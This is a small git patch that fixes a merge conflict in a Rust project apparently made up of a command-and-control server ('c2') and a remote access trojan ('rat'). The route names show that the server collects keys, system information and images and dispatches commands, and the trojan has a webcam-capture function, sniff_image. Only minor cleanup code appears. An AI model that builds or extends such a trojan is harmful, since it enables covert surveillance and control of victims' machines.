From dae2696ff7ec0f67851f42c2ca6db40d74f945f4 Mon Sep 17 00:00:00 2001
From: "leo.muff" <leomuffmail@gmail.com>
Date: Thu, 26 Oct 2023 15:57:32 +0200
Subject: [PATCH] fixing merge
---
Cargo.lock | 1 -
c2/src/main.rs | 4 ----
c2/src/routes.rs | 2 +-
rat/src/camera.rs | 2 +-
4 files changed, 2 insertions(+), 7 deletions(-)
diff --git a/Cargo.lock b/Cargo.lock
index 991908a..8cfb266 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -201,7 +201,6 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
name = "c2"
version = "0.1.0"
dependencies = [
- "chrono",
"rocket",
"rocket_dyn_templates",
"rocket_sync_db_pools",
diff --git a/c2/src/main.rs b/c2/src/main.rs
index f16b3da..2955a9f 100644
--- a/c2/src/main.rs
+++ b/c2/src/main.rs
@@ -38,15 +38,11 @@ fn rocket() -> _ {
// load rocket
let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing());
println!("Connecting to database ...");
-<<<<<<< c2/src/main.rs
- build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands, post_image])
-=======
build.mount("/",
routes![home, post_key, get_json_keys, get_html_clients,
post_systeminfo, post_new_command, get_json_commands,
post_command, get_new_commands, get_delete_command
])
->>>>>>> c2/src/main.rs
.mount("/static", FileServer::from("c2/templates/static"))
.mount("/client/data", FileServer::from("./data"))
.register("/", catchers![not_found, internal_error])
diff --git a/c2/src/routes.rs b/c2/src/routes.rs
index d03c6e9..f9ee85f 100644
--- a/c2/src/routes.rs
+++ b/c2/src/routes.rs
@@ -1,5 +1,5 @@
use rocket::form::Form;
-use rocket::{get, post, Data};
+use rocket::{get, post};
use rocket::{State, http::Status, serde::json::Json, response::status};
use std::sync::Mutex;
use crate::backup::{DataFile, DataType};
diff --git a/rat/src/camera.rs b/rat/src/camera.rs
index 8f68707..8e71f34 100644
--- a/rat/src/camera.rs
+++ b/rat/src/camera.rs
@@ -33,7 +33,7 @@ pub async fn sniff_image() -> Result<(), ClientError> {
let mac_address = get_mac_address()
.map_err(|_e| io::Error::from_raw_os_error(1))?;
- let params = dev.params()?;
+ let _ = dev.params()?;
//println!("Active device parameters:\n{}", params);
--
GitLab